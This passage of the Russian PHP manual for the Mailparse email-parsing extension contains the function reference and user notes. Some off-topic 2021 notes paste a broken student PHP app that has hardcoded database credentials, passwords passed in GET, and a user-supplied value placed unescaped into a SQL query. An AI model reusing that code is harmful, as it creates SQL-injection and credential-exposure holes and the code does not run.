Or you will get an error.

Ian
boris at gamate dot com 12-Sep-2003 06:11
Example how to handle mail content from a variable:

<?php

$buffer = [...] // Mail Content from pipe or whatever

$mail = mailparse_msg_create();
mailparse_msg_parse($mail,$buffer);
$struct = mailparse_msg_get_structure($mail);

foreach($struct as $st) {
    $section = mailparse_msg_get_part($mail, $st);
    $info = mailparse_msg_get_part_data($section);

    print_r($info);
}

?>
wberrier at yahoo dot com 09-Jul-2002 12:45
[Authors note:
The tarball for 4.2.x can be found here:
http://thebrainroom.com/opensource/php/mailparse.php
and contains a script called try.php that demonstrates the usage of these functions.
]

I've pasted the contents of the file below:

<?php
/*
 * This is a simple email viewer.
 * make sure that $filename points to a file containing an email message and
 * load this page in your browser.
 * You will be able to choose a part to view.
 * */

$filename = "uumsg";

/* parse the message and return a mime message resource */
$mime = mailparse_msg_parse_file($filename);
/* return an array of message parts - this contsists of the names of the parts
 * only */
$struct = mailparse_msg_get_structure($mime);

echo "<table>\n";
/* print a choice of sections */
foreach($struct as $st) {
        echo "<tr>\n";
        echo "<td><a href=\"$PHP_SELF?showpart=$st\">$st</a></td>\n";
        /* get a handle on the message resource for a subsection */
        $section = mailparse_msg_get_part($mime, $st);
        /* get content-type, encoding and header information for that section */
        $info = mailparse_msg_get_part_data($section);
        echo "\n";
        echo "<td>" . $info["content-type"] . "</td>\n";
        echo "<td>" . $info["content-disposition"] . "</td>\n";
        echo "<td>" . $info["disposition-filename"] . "</td>\n";
        echo "<td>" . $info["charset"] . "</td>\n";
        echo "</tr>";
}
echo "</table>";

/* if we were called to display a part, do so now */
if ($showpart)  {
        /* get a handle on the message resource for the desired part */
        $sec = mailparse_msg_get_part($mime, $showpart);

        echo "<table border=1><tr><th>Section $showpart</th></tr><tr><td>";
        ob_start();
        /* extract the part from the message file and dump it to the output buff
er
         * */
        mailparse_msg_extract_part_file($sec, $filename);
        $contents = ob_get_contents();
        ob_end_clean();
        /* quote the message for safe display in a browser */
        echo nl2br(htmlentities($contents)) . "</td></tr></table>";;
}
?>


Определить наилучший путь декодирования

  • « Mailparse
  • mailparse_msg_create »
  • PHP Manual
  • Mailparse
  • Определить наилучший путь декодирования

mailparse_determine_best_xfer_encoding

(PECL mailparse >= 0.9.0)

mailparse_determine_best_xfer_encoding — Определить наилучший путь декодирования

Описание

mailparse_determine_best_xfer_encoding(resource $fp): string

Определяет наилучший путь декодирования контента, прочитанного из указанного файлового дескриптора.

Список параметров

fp

Корректный указатель на файл, который должен быть перематываемым.

Возвращаемые значения

Возвращает одну из кодировок, поддерживаемую модулем mbstring.

Примеры

Пример #1 Пример использования mailparse_determine_best_xfer_encoding()

<?php

$fp = fopen('somemail.eml', 'r');
echo 'Best encoding: ' . mailparse_determine_best_xfer_encoding($fp);

?>

Результатом выполнения данного примера будет что-то подобное:

Best encoding: 7bit

User Contributed Notes

ramoncin at hotmail dot com 11-Mar-2021 05:10
<?php
session_start();
?>
<?php
$conexion=mysqli_connect('192.168.2.201','proba','abc123.','senderismo') or die (mysqli_error($conexion));
if ($conexion) {
    if (isset($_GET['c'])) {
        $datos=mysqli_query($conexion,"SELECT * FROM material");
    }
    if (isset($_GET['m'])) {
        $datos=mysqli_query($conexion,"SELECT * FROM material ORDER BY Marca");
    }
    if (isset($_GET['p'])) {
        $datos=mysqli_query($conexion,"SELECT * FROM material ORDER BY Prezo");
    }
    if (isset($_GET['e'])) {
        if (isset($_GET['T']){
            $type=$_GET['T']
            $datos=mysqli_query($conexion,"SELECT * FROM material where Tipo like '$type$");
        }
    }
if ($datos != FALSE) {
    while ($fila=mysqli_fetch_array($datos)) {
        $srcImaxe=$fila['Imaxe'].".jpg";
        echo "<div class='produto'><img src='imaxes/$srcImaxe'><br>",$fila['Nome'],"<br>",
$fila['Marca'],"<br>",$fila['Tipo'],"<br>",$fila['Prezo'],"€<br></div>";
        }
    }
    echo "<form action='ver.php' method='GET'
        <input type='submit' name='volta' value='Vovler atras'<br>
        </form>";
}
else{
    echo "Mal;"
}
?>
ver at gmail dot com 11-Mar-2021 05:07
<?php
session_start();
?>
<?php
$conexion=mysqli_connect('192.168.2.201','proba','abc123.','senderismo') or die (mysqli_error($conexion));
if ($conexion) {
    $usu1=$_GET['usu'];
    $con1=$_GET['con'];
}
if ((strcmp($usu1, "Eva")==0 || strcmp($usu1, "Xan")==0)&& strcmp($con1, "abc123.")==0 ){
    $_SESSION['usu']=$usu1;
    $_SESSION['con']=$con1;
    echo "Benvido: ", $usu1;

    echo "<form action='lista.php' method='GET'>
    <input type='submit' name='c' value='Listado Completo'><br>
    <input type='submit' name='m' value='Listado por Marca'><br>
    <input type='submit' name='p' value='Listado por prezo'><br>
    <select name='T'>
        <option name='Calcetin'>Calcetin</option>
        <option name='Pantalon'>Pantalon</option>
        <option name='Bota'>Bota</option>
        <option name='Chaqueta'>Chaqueta</option>
        <option name='Zapatilla'>Zapatilla</option>
            </select>
        <input type='submit' name='e' value='Enviar'><br>
    </form>";

    if (strcmp($usu1, "Eva")==0{
        echo "<input type='button' name='c' value='Engadir Rexistro'><br>
        <input type='button' name='m' value='Editar Rexistro'><br>
        <input type='button' name='p' value='Eliminar Rexistro'><br>";
    }
}
else {
    echo "Non se puido conectar a BBDD";
}
?>
intro at gmail dot com 11-Mar-2021 05:05
<!DOCTYPE html>
<html>
<head>
    <title></title>
</head>
<body>
<form action="ver.php" method="GET">
    <p>Introduzca un Usuario:</p>
    <input type="text" name="usu"><br>
    <p>Introduzca un Contrasinal:</p>
    <input type="password" name="con"><br>
    <input type="submit" name="Enviar">
</form>
</body>
</html>
matej dot kovac at gmail dot com 20-Nov-2011 11:12
As of mailparse-2.1.5, it can return 7bit, 8bit, base64 and qprint. False on mbstring failure.
mileskeaton at gmail dot com 02-Jan-2009 11:16
As far as I can tell, this only returns one of two strings: 'Quoted-Printable' or '7bit'


Создаёт почтовый MIME-ресурс

  • « mailparse_determine_best_xfer_encoding
  • mailparse_msg_extract_part_file »
  • PHP Manual
  • Mailparse
  • Создаёт почтовый MIME-ресурс

mailparse_msg_create

(PECL mailparse >= 0.9.0)

mailparse_msg_create — Создаёт почтовый MIME-ресурс

Описание

mailparse_msg_create(): resource

Создаёт почтовый MIME-ресурс.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает обработчик, который можно использовать для разбора сообщения.

Примечания

Замечание:

Рекомендуется вызывать mailparse_msg_free() для результата этой функции, когда он больше не нужен, чтобы избежать утечки памяти.

Смотрите также

  • mailparse_msg_free() - Высвободить MIME-ресурс
  • mailparse_msg_parse_file() - Разобрать файл

User Contributed Notes

There are no user contributed notes for this page.


Извлечь/декодировать секцию с сообщением из файла

  • « mailparse_msg_create
  • mailparse_msg_extract_part »
  • PHP Manual
  • Mailparse
  • Извлечь/декодировать секцию с сообщением из файла

mailparse_msg_extract_part_file

(PECL mailparse >= 0.9.0)

mailparse_msg_extract_part_file — Извлечь/декодировать секцию с сообщением из файла

Описание

mailparse_msg_extract_part_file(resource $mimemail, mixed $filename, callable $callbackfunc = ?): string

Извлечь/декодировать секцию с сообщением из указанного файла.

Контент сообщения будет декодирован в соответствии с кодировкой пересылки. Поддерживаются следующие кодировки: base64, quoted-printable и uuencoded.

Список параметров

mimemail

Корректный MIME-ресурс, созданный mailparse_msg_create().

filename

Имя файла или корректный потоковый ресурс.

callbackfunc

Если задано, то в эту функцию будет передано извлечённое сообщение. Если null, то извлечённое сообщение будет просто возвращено.

Если не задано, то контент будет направлен на стандартный вывод (stdout).

Возвращаемые значения

Если callbackfunc не null, то вернёт true в случае успешного выполнения.

Если callbackfunc задана как null, вернёт извлечённую секцию сообщения в виде строки.

Вернёт false в случае возникновения ошибки.

Смотрите также

  • mailparse_msg_extract_part() - Извлечь/декодировать секцию с сообщением
  • mailparse_msg_extract_whole_part_file() - Извлечь секцию сообщения вместе с заголовками без декодирования

User Contributed Notes

carlos at wfmh dot org dot pl 24-Feb-2009 08:15
Be aware of "corporate mails" or users who do not understand character encoding too deeply (or do not care). You may (as we did) face mail where the whole mail body is encoded used i.e. Latin2 (and iso-8859-2 is given in multipart's charset header) but at the same time the body also contains text footer with UTF-8 characters in it... Yes, fu*g Microsoft Exchange V6.5 frontent will show that fine on the screen, but if when receive it:

mailparse_msg_extract_part_file() - filter conversion failed. Input message is probably incorrectly encoded in ....

so be extra careful and deal with all the possible errors to avoid mail loss.
per at computer dot org 21-Oct-2004 01:09
mailparse_msg_extract_part_file() does not support file-wrappers as it needs to be able to use seek() on the file.


Извлечь/декодировать секцию с сообщением

  • « mailparse_msg_extract_part_file
  • mailparse_msg_extract_whole_part_file »
  • PHP Manual
  • Mailparse
  • Извлечь/декодировать секцию с сообщением

mailparse_msg_extract_part

(PECL mailparse >= 0.9.0)

mailparse_msg_extract_part — Извлечь/декодировать секцию с сообщением

Описание

mailparse_msg_extract_part(resource $mimemail, string $msgbody, callable $callbackfunc = ?): void
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

mimemail

Корректный MIME-ресурс

msgbody

callbackfunc

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • mailparse_msg_extract_part_file() - Извлечь/декодировать секцию с сообщением из файла
  • mailparse_msg_extract_whole_part_file() - Извлечь секцию сообщения вместе с заголовками без декодирования

User Contributed Notes

Sbastien 23-Jan-2021 11:21
Here a full example to save ZIP files attachments in their original name.

<?php
$email_raw = '(raw e-mail contents buffer)';
$parser = mailparse_msg_create(); // MUST be destroyed at the end of the script
mailparse_msg_parse($parser, $email_raw);
$structure = mailparse_msg_get_structure($parser); // Ex. ["1", "1.1", "1.2"]
foreach ($structure as $part_label) { // Search among each e-mail part
    $part = mailparse_msg_get_part($parser, $part_label); // Parse a specified part
    $part_data = mailparse_msg_get_part_data($part); // Get parsed part data, header and meta values
    if ($part_data['content-type'] ?? null === 'application/zip') {
        $name = $part_data['disposition-filename'] ?? $part_data['content-name'] ?? 'unknow.zip';
        $contents = mailparse_msg_extract_part($part, $email_raw, null); // null for returning content
        file_put_contents($name, $contents);
    }
}
mailparse_msg_free($parser); // Important
Anonymous 06-May-2019 07:55
The callback argument does not support closures... :( It will complains with "PHP Catchable fatal error:  Object of class Closure could not be converted to string".
marlinf {at} datashaman {dot} com 11-Jan-2008 02:13
With ref to previous comment re: callback:

If you explicitly specify NULL as the callback parameter, the complete section is extracted, decoded and returned, without the need for a callback.
Will 04-Jan-2007 12:12
In mailparse version 2.1.1 (and perhaps earlier), when using mailparse_msg_extract_part() with a callback function, it breaks the data it passes to it into 4kB chunks and calls the callback function for each chunk.  So, for example, if it's extracting a 41kB MIME part, the callback function you define will be called 11 times, each time with the next chunk of data.  Here's some quick-and-dirty code that shows one way to handle this:

<?php
    $message = file_get_contents ("email.txt"); // Pull in the e-mail.

    function catch_part ($part)
    {
        $GLOBALS["part_data"] .= $part; // Append the data onto any previously extracted data.
    }

    mailparse_msg_extract_part ("1.1", $message, "catch_part"); // Extract MIME part 1.1
    echo $GLOBALS["part_data"]; // Print out the extracted part.
?>

There's probably a much better way of dealing with this, but hey.  It's what I got.
php at cdauth dot de 07-Jun-2006 12:01
substr() uses the string length, not the position as third argument. The corrected version of the following code line:
<?php
$parts[$s] = substr($file_txt, $starting_pos_body, $ending_pos_body-$starting_pos_body);
?>
steve at tequilasolutions dot com 06-Apr-2006 10:36
Unless I've missed something obvious:

get_structure returns array(1,1.1,1.1.2) etc but its not easy to get the contents of each part as mailparse_msg_extract_part() and mailparse_msg_extract_part_file() just return the lot.  However get_part_data will return the string offsets so you know where to chop the message so you can get the contents of the parts.

Only issue is get_part_data returns:
    [starting-pos] => 0
    [starting-pos-body] => 1412
    [ending-pos] => 14989
    [ending-pos-body] => 14989

Unless I'm missed something else, theres a bug here as ending-pos is the same as ending-pos-body so it won't chop the contents cleanly, leaving the:

------=_NextPart_000_0069_01C659A6.9072E590--

...as supposedly part of the section contents.

$file = "..../mail"; // path of your mail
$file_txt = implode("",file($file));
$parse = mailparse_msg_parse_file($file);
$structure = mailparse_msg_get_structure($parse);
// chop message parts into array
$parts = array();
foreach ($structure as $s){
    print "Part $s\n";
    print "--------------------------------------\n";
    $part = mailparse_msg_get_part($parse, $s);
    $part_data = mailparse_msg_get_part_data($part);
    print_r($part_data);
    $starting_pos_body = $part_data['starting-pos-body'];
    $ending_pos_body    = $part_data['ending-pos-body'];
    $parts[$s] = substr($file_txt,$starting_pos_body,$ending_pos_body); // copy data into array
    print "[".$parts[$s]."]";
    print "\n------------------------------------\n";
}


Извлечь секцию сообщения вместе с заголовками без декодирования

  • « mailparse_msg_extract_part
  • mailparse_msg_free »
  • PHP Manual
  • Mailparse
  • Извлечь секцию сообщения вместе с заголовками без декодирования

mailparse_msg_extract_whole_part_file

(PECL mailparse >= 0.9.0)

mailparse_msg_extract_whole_part_file — Извлечь секцию сообщения вместе с заголовками без декодирования

Описание

mailparse_msg_extract_whole_part_file(resource $mimemail, string $filename, callable $callbackfunc = ?): string
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

mimemail

Корректный MIME-ресурс

filename

callbackfunc

Возвращаемые значения

Смотрите также

  • mailparse_msg_extract_part() - Извлечь/декодировать секцию с сообщением
  • mailparse_msg_extract_part_file() - Извлечь/декодировать секцию с сообщением из файла

User Contributed Notes

There are no user contributed notes for this page.


Высвободить MIME-ресурс

  • « mailparse_msg_extract_whole_part_file
  • mailparse_msg_get_part_data »
  • PHP Manual
  • Mailparse
  • Высвободить MIME-ресурс

mailparse_msg_free

(PECL mailparse >= 0.9.0)

mailparse_msg_free — Высвободить MIME-ресурс

Описание

mailparse_msg_free(resource $mimemail): bool

Высвобождает MIME-ресурс.

Список параметров

mimemail

Корректный MIME-ресурс, созданный mailparse_msg_create() или mailparse_msg_parse_file().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • mailparse_msg_create() - Создаёт почтовый MIME-ресурс
  • mailparse_msg_parse_file() - Разобрать файл

User Contributed Notes

There are no user contributed notes for this page.


Вернуть ассоциативный массив с информацией о сообщении

  • « mailparse_msg_free
  • mailparse_msg_get_part »
  • PHP Manual
  • Mailparse
  • Вернуть ассоциативный массив с информацией о сообщении

mailparse_msg_get_part_data

(PECL mailparse >= 0.9.0)

mailparse_msg_get_part_data — Вернуть ассоциативный массив с информацией о сообщении

Описание

mailparse_msg_get_part_data(resource $mimemail): array
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

mimemail

Корректный MIME-ресурс.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает указатель на заданную секцию в mime-сообщении

  • « mailparse_msg_get_part_data
  • mailparse_msg_get_structure »
  • PHP Manual
  • Mailparse
  • Возвращает указатель на заданную секцию в mime-сообщении

mailparse_msg_get_part

(PECL mailparse >= 0.9.0)

mailparse_msg_get_part — Возвращает указатель на заданную секцию в mime-сообщении

Описание

mailparse_msg_get_part(resource $mimemail, string $mimesection): resource
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

mimemail

Корректный MIME-ресурс.

mimesection

User Contributed Notes

vangelier at hotmail dot com 17-Mar-2016 04:02
A multi-part e-mail message can exists out of different parts.

Like:

Array
(
    [0] => 1
    [1] => 1.1
    [2] => 1.1.1
    [3] => 1.1.2
    [4] => 1.2
)

Each part is a section in the mail message. To loop through every part of the message you need to go like this:

$mime_part = mailparse_msg_get_part($this->message, "1.2"); //1.2 is the binary base64 encoded part of the attachement

$body_parts = mailparse_msg_get_part_data($mime_part);

Body part looks like this:

Array
(
    [headers] => Array
        (
            [content-type] => application/x-zip-compressed;  name="3000_000000.txt"
            [content-disposition] => attachment; filename="3000_000000.txt"
            [content-transfer-encoding] => base64
            [x-attachment-id] => b31f1a24358e7e5_0.1
        )

    [starting-pos] => 4513
    [starting-pos-body] => 4736
    [ending-pos] => 4772
    [ending-pos-body] => 4772
    [line-count] => 6
    [body-line-count] => 0
    [charset] => us-ascii
    [transfer-encoding] => base64
    [content-name] => 3000_000000.sbd
    [content-type] => application/x-zip-compressed
    [disposition-filename] => 3000_000000.sbd
    [content-disposition] => attachment
    [content-base] => /
)


Получить массив имён mime-секций в заданном сообщении

  • « mailparse_msg_get_part
  • mailparse_msg_parse_file »
  • PHP Manual
  • Mailparse
  • Получить массив имён mime-секций в заданном сообщении

mailparse_msg_get_structure

(PECL mailparse >= 0.9.0)

mailparse_msg_get_structure — Получить массив имён mime-секций в заданном сообщении

Описание

mailparse_msg_get_structure(resource $mimemail): array
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

mimemail

Корректный MIME-ресурс.

User Contributed Notes

rueda dot raul at gmail dot com 18-Feb-2020 06:34
Example of this function output:

<?php

$parse = mailparse_msg_parse_file('mail.txt');

print_r(mailparse_msg_get_structure($parse);

?>

Output will be:

Array
(
    [0] => 1
    [1] => 1.1
    [2] => 1.1.1
    [3] => 1.1.2
    [4] => 1.2
)


Разобрать файл

  • « mailparse_msg_get_structure
  • mailparse_msg_parse »
  • PHP Manual
  • Mailparse
  • Разобрать файл

mailparse_msg_parse_file

(PECL mailparse >= 0.9.0)

mailparse_msg_parse_file — Разобрать файл

Описание

mailparse_msg_parse_file(string $filename): resource

Разбирает файл. Это оптимальный путь для разбора файла с почтовым сообщением.

Список параметров

filename

Путь к файлу. Файл будет открыт и пропущен через анализатор.

Замечание:

Сообщение, содержащееся в filename, должно заканчиваться новой строкой (CRLF); иначе последняя строка сообщения не будет проанализирована.

Возвращаемые значения

Возвращает MIME-ресурс, представляющий структуру, или false в случае возникновения ошибки.

Примечания

Замечание:

Рекомендуется вызывать mailparse_msg_free() для результата этой функции, когда он больше не нужен, чтобы избежать утечки памяти.

Смотрите также

  • mailparse_msg_free() - Высвободить MIME-ресурс
  • mailparse_msg_create() - Создаёт почтовый MIME-ресурс

User Contributed Notes

schmidt at cube hyphen concept dot com 11-May-2021 11:01
I just encountered an internal server error by simply calling
$eml = mailparse_msg_parse_file("$path/eml/$email_id.eml");

The error disappeared after adding
mailparse_msg_free($eml);
to the end of the script.

Without mailparse_msg_free i keep getting an internal server error.


Инкрементальное разбирает данные в буфер

  • « mailparse_msg_parse_file
  • mailparse_rfc822_parse_addresses »
  • PHP Manual
  • Mailparse
  • Инкрементальное разбирает данные в буфер

mailparse_msg_parse

(PECL mailparse >= 0.9.0)

mailparse_msg_parse — Инкрементальное разбирает данные в буфер

Описание

mailparse_msg_parse(resource $mimemail, string $data): bool

Инкрементальное разбирает данные в заданный MIME-ресурс.

Функция позволяет обрабатывать файл по частям, вместо того, чтобы читать и обрабатывать сразу весь массив данных.

Список параметров

mimemail

Корректный MIME-ресурс.

data

Замечание:

Сообщение, содержащееся в filename, должно заканчиваться новой строкой (CRLF); иначе последняя строка сообщения не будет проанализирована.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

Adrien 13-Jan-2017 12:49
This code written within a function may end up causing a 500 error with php 7 :

$mime = mailparse_msg_create();
mailparse_msg_parse($mime,$content);
exit;

Don't forget to free the ressource using mailparse_msg_free($mime) before the exit, apache/php does not seem to be able to do it automatically.


Разобрать адреса в соответствии с RFC 822

  • « mailparse_msg_parse
  • mailparse_stream_encode »
  • PHP Manual
  • Mailparse
  • Разобрать адреса в соответствии с RFC 822

mailparse_rfc822_parse_addresses

(PECL mailparse >= 0.9.0)

mailparse_rfc822_parse_addresses — Разобрать адреса в соответствии с RFC 822

Описание

mailparse_rfc822_parse_addresses(string $addresses): array

Разбирает список получателей в соответствии с » RFC 822. Список получателей обычно находится в заголовке To:.

Список параметров

addresses

Строка, содержащая адреса. Например: Wez Furlong <wez@example.com>, doe@example.com

Замечание:

Эта строка не должна содержать название заголовка.

Возвращаемые значения

Возвращает ассоциативный массив для каждого получателя со следующими ключами:

display | Имя получателя. Если эта часть адреса не задана, то будет использовано то же значение, что и для address.
address | Адрес электронной почты
is_group | true, если получатель является группой рассылки и false, если нет.

Примеры

Пример #1 Пример использования mailparse_rfc822_parse_addresses()

<?php

$to = 'Wez Furlong <wez@example.com>, doe@example.com';
var_dump(mailparse_rfc822_parse_addresses($to));

?>

Результат выполнения данного примера:

array(2) {
  [0]=>
  array(3) {
    ["display"]=>
    string(11) "Wez Furlong"
    ["address"]=>
    string(15) "wez@example.com"
    ["is_group"]=>
    bool(false)
  }
  [1]=>
  array(3) {
    ["display"]=>
    string(15) "doe@example.com"
    ["address"]=>
    string(15) "doe@example.com"
    ["is_group"]=>
    bool(false)
  }
}

User Contributed Notes

murph dot vienna at gmail dot com 11-Mar-2014 04:15
<?php
// input: My Test Email <some.test.email@somewhere.net>

function get_displayname_from_rfc_email($rfc_email_string) {
    // match all words and whitespace, will be terminated by '<'
    $name       = preg_match('/[\w\s]+/', $rfc_email_string, $matches);
    $matches[0] = trim($matches[0]);
    return $matches[0];
}
// Output: My Test Email

function get_email_from_rfc_email($rfc_email_string) {
    // extract parts between the two parentheses
    $mailAddress = preg_match('/(?:<)(.+)(?:>)$/', $rfc_email_string, $matches);
    return $matches[1];
}
// Output: some.test.email@somewhere.net
?>
24-Nov-2004 04:12
An alternative to the mailparse_rfc822_parse_addresses() function is Mail_RFC822::parseAddressList() from Pear:

http://pear.php.net/manual/en/package.mail.mail.php

It parses the string and returns a structured tree of data. Returns a pear_error object if the string is not valid.

Example:

require_once "PEAR.php";
require_once "Mail/RFC822.php";

$addr= "Hi <hi@world.org>";

$res= Mail_RFC822::parseAddressList($addr);
if (PEAR::isError($res)) die("NOT VALID: " . $res->getMessage() . "\n");
echo "OK. Data:\n";
print_r($res);
mat at phpconsulting dot com 24-Apr-2003 09:59
If for some reason you cannot compile mailparse into your install of PHP, you will also find an extremely similar function in the Mail_MIME PEAR class, specifically in mimeDecode.php.


Кодирует поток из файла источника и пишет в файл получатель.

  • « mailparse_rfc822_parse_addresses
  • mailparse_uudecode_all »
  • PHP Manual
  • Mailparse
  • Кодирует поток из файла источника и пишет в файл получатель.

mailparse_stream_encode

(PECL mailparse >= 0.9.0)

mailparse_stream_encode — Кодирует поток из файла источника и пишет в файл получатель.

Описание

mailparse_stream_encode(resource $sourcefp, resource $destfp, string $encoding): bool

Кодирует с помощью encoding поток из файла источника и пишет в файл получатель.

Список параметров

sourcefp

Корректный файловый дескриптор источника.

destfp

Корректный файловый дескриптор получателя.

encoding

Одна из кодировок, поддерживаемых модулем mbstring.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования mailparse_stream_encode()

<?php

// email.eml содержит: hello, this is some text=hello.
$fp = fopen('email.eml', 'r');

$dest = tmpfile();

mailparse_stream_encode($fp, $dest, "quoted-printable");

rewind($dest);

// Отображаем контент нового файла
fpassthru($dest);

?>

Результат выполнения данного примера:

hello, this is some text=3Dhello.

User Contributed Notes

There are no user contributed notes for this page.


Сканирует данные из указанного файла и извлекает все вложенные файлы, кодированные в uuencode

  • « mailparse_stream_encode
  • Математические модули »
  • PHP Manual
  • Mailparse
  • Сканирует данные из указанного файла и извлекает все вложенные файлы, кодированные в uuencode

mailparse_uudecode_all

(PECL mailparse >= 0.9.0)

mailparse_uudecode_all — Сканирует данные из указанного файла и извлекает все вложенные файлы, кодированные в uuencode

Описание

mailparse_uudecode_all(resource $fp): array

Сканирует данные из указанного файла и извлекает все вложенные файлы, кодированные в uuencode, во временные файлы.

Список параметров

fp

Файловый дескриптор.

Возвращаемые значения

Возвращает ассоциативный массив, содержащий информацию по извлечённым файлам.

filename | Путь к созданному временному файлу
origfilename | Оригинальное имя файла, только для кодированных uuencode
Первый элемент будет содержать тело сообщения. Все последующие - информацию по извлечённым вложениям.

Примеры

Пример #1 Пример использования mailparse_uudecode_all()

<?php

$text = <<<EOD
To: fred@example.com

hello, this is some text hello.
blah blah blah.

begin 644 test.txt
/=&AI<R!I<R!A('1E<W0*
`
end

EOD;

$fp = tmpfile();
fwrite($fp, $text);

$data = mailparse_uudecode_all($fp);

echo "BODY\n";
readfile($data[0]["filename"]);
echo "UUE ({$data[1]['origfilename']})\n";
readfile($data[1]["filename"]);

// Очищаем
unlink($data[0]["filename"]);
unlink($data[1]["filename"]);

?>

Результат выполнения данного примера:

BODY
To: fred@example.com

hello, this is some text hello.
blah blah blah.

UUE (test.txt)
this is a test

User Contributed Notes

mat at phpconsulting dot com 24-Apr-2003 10:04
As an alternative,  uudecode() can be called as static function as follows:

$file =& Mail_mimeDecode::uudecode($some_text);

This will return the following arrays:
 @param  string Input body to look for attachments in
 @return array  Decoded bodies, filenames and permissions


Математические модули

  • BC Math — Вычисления над числами с произвольной точностью BCMath
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Функции BC Math
  • GMP — Вычисления над целыми числами с произвольной точностью (GNU Multiple Precision)
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Примеры
    • GMP Функции
    • GMP — Класс GMP
  • Math — Математические функции
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Математические функции
  • Статистика
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Функции статистики
  • Trader — Технический анализ для трейдеров
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Функции Trader

User Contributed Notes

There are no user contributed notes for this page.


Вычисления над числами с произвольной точностью BCMath

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Функции BC Math
    • bcadd — Сложить 2 числа произвольной точности
    • bccomp — Сравнение двух чисел произвольной точности
    • bcdiv — Операция деления для чисел произвольной точности
    • bcmod — Получает остаток от деления чисел с произвольной точностью
    • bcmul — Умножение двух чисел с произвольной точностью
    • bcpow — Возведение в степень чисел с произвольной точностью
    • bcpowmod — Возводит одно число в степень другого и возвращает остаток от деления результата на третье число
    • bcscale — Устанавливает или получает количество чисел после десятичной точки по умолчанию для всех функций bc math.
    • bcsqrt — Извлекает квадратный корень из числа с заданной точностью
    • bcsub — Вычитает одно число из другого с заданной точностью

User Contributed Notes

Artur Kuritsyn 18-Sep-2017 11:59
Useful function for bcround

    function getBcRound($number, $precision = 0)
    {
        $precision = ($precision < 0)
                   ? 0
                   : (int) $precision;
        if (strcmp(bcadd($number, '0', $precision), bcadd($number, '0', $precision+1)) == 0) {
            return bcadd($number, '0', $precision);
        }
        if (getBcPresion($number) - $precision > 1) {
            $number = getBcRound($number, $precision + 1);
        }
        $t = '0.' . str_repeat('0', $precision) . '5';
        return $number < 0
               ? bcsub($number, $t, $precision)
               : bcadd($number, $t, $precision);
    }

    function getBcPresion($number) {
        $dotPosition = strpos($number, '.');
        if ($dotPosition === false) {
            return 0;
        }
        return strlen($number) - strpos($number, '.') - 1;
    }

    var_dump(getBcRound('3', 0) == number_format('3', 0));
    var_dump(getBcRound('3.4', 0) == number_format('3.4', 0));
    var_dump(getBcRound('3.56', 0) == number_format('3.6', 0));
    var_dump(getBcRound('1.95583', 2) == number_format('1.95583', 2));
    var_dump(getBcRound('5.045', 2) == number_format('5.045', 2));
    var_dump(getBcRound('5.055', 2) == number_format('5.055', 2));
    var_dump(getBcRound('9.999', 2) == number_format('9.999', 2));
    var_dump(getBcRound('5.0445', 5) == number_format('5.044500', 5));
    var_dump(getBcRound('5.0445', 4) == number_format('5.04450', 4));
    var_dump(getBcRound('5.0445', 3) == number_format('5.0445', 3));
    var_dump(getBcRound('5.0445', 2) == number_format('5.045', 2));
    var_dump(getBcRound('5.0445', 1) == number_format('5.05', 1));
    var_dump(getBcRound('5.0445', 0) == number_format('5.0', 0));//
    var_dump(getBcRound('5.04455', 2) == number_format('5.045', 2));
    var_dump(getBcRound('99.999', 2) == number_format('100.000', 2));
    var_dump(getBcRound('99.999') == number_format('99.999', 0));
    var_dump(getBcRound('99.999', 'a') == number_format('99.999', 0));
    var_dump(getBcRound('99.999', -1.5) == number_format('99.999', 0));
    var_dump(getBcRound('-0.00001', 2) == number_format('-0.000', 2));
    var_dump(getBcRound('-0.0000', 2) == number_format('0', 2));
    var_dump(getBcRound('-4.44455', 2) == number_format('-4.445', 2));
    var_dump(getBcRound('-4.44555', 0) == number_format('-4.5', 0));
    var_dump(getBcRound('-4.444444444444444444444444444444444444444444445', 0) == number_format('-4.5', 0));
Anonymous 18-Sep-2017 11:58
Useful function for bcround

    function getBcRound($number, $precision = 0)
    {
        $precision = ($precision < 0)
                   ? 0
                   : (int) $precision;
        if (strcmp(bcadd($number, '0', $precision), bcadd($number, '0', $precision+1)) == 0) {
            return bcadd($number, '0', $precision);
        }
        if (getBcPresion($number) - $precision > 1) {
            $number = getBcRound($number, $precision + 1);
        }
        $t = '0.' . str_repeat('0', $precision) . '5';
        return $number < 0
               ? bcsub($number, $t, $precision)
               : bcadd($number, $t, $precision);
    }

    function getBcPresion($number) {
        $dotPosition = strpos($number, '.');
        if ($dotPosition === false) {
            return 0;
        }
        return strlen($number) - strpos($number, '.') - 1;
    }

    var_dump(getBcRound('3', 0) == number_format('3', 0));
    var_dump(getBcRound('3.4', 0) == number_format('3.4', 0));
    var_dump(getBcRound('3.56', 0) == number_format('3.6', 0));
    var_dump(getBcRound('1.95583', 2) == number_format('1.95583', 2));
    var_dump(getBcRound('5.045', 2) == number_format('5.045', 2));
    var_dump(getBcRound('5.055', 2) == number_format('5.055', 2));
    var_dump(getBcRound('9.999', 2) == number_format('9.999', 2));
    var_dump(getBcRound('5.0445', 5) == number_format('5.044500', 5));
    var_dump(getBcRound('5.0445', 4) == number_format('5.04450', 4));
    var_dump(getBcRound('5.0445', 3) == number_format('5.0445', 3));
    var_dump(getBcRound('5.0445', 2) == number_format('5.045', 2));
